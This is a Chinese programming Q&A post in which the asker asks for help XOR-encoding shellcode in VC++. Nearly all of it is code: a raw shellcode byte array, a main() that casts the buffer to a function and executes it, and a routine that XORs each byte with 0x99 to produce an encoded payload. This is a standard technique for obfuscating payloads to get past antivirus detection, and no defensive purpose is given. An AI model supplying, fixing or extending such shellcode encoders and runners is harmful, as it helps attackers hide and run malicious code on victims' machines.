VC++ shellcode Xor问题

来源:百度知道 编辑:UC知道 时间:2024/05/11 02:37:58
搞了两天shellcode.想将shellcode进行XOR一下.但是始终弄不出来...
请大家帮帮忙!!高分奉上!
"\xc1\xc1\xfa\x90\x6f\x40\x71\xf4\x31\x90\x90\x90\x90\xae\x13\xa8"
"\x6f\xe4\x9b\xae\x1b\x90\xf4\x33\x90\x90\x90\x90\x7b\x7f\xae\x1b"
"\xd0\x98\xae\x1b\xd0\x98\x13\x40\x81\x9d\x6f\x70\x13\x40\x85\xb4";
int main()
{
((void (*)(void)) &ShellCode)();
return 0;
}

第一段程序,用于 XOR 并输出 shellcode:
void PrintShellCode(unsigned char * shellcode, int len, unsigned char seed)
{
for(int i=0;i<len;i++)
{
printf("0x%02X", shellcode[i] ^ seed);
if (i < len)
{
printf(", ");
}
if (i % 16 == 15)
{
printf("\n");
}
}
}

unsigned char ShellCode[] =
"\xc1\xc1\xfa\x90\x6f\x40\x71\xf4\x31\x90\x90\x90\x90\xae\x13\xa8"
"\x6f\xe4\x9b\xae\x1b\x90\xf4\x33\x90\x90\x90\x90\x7b\x7f\xae\x1b"
"\xd0\x98\xae\x1b\xd0\x98\x13\x40\x81\x9d\x6f\x70\x13\x40\x85\xb4";

int main()
{
PrintShellCode(ShellCode, sizeof(ShellCode), 0x99);
return 0;
}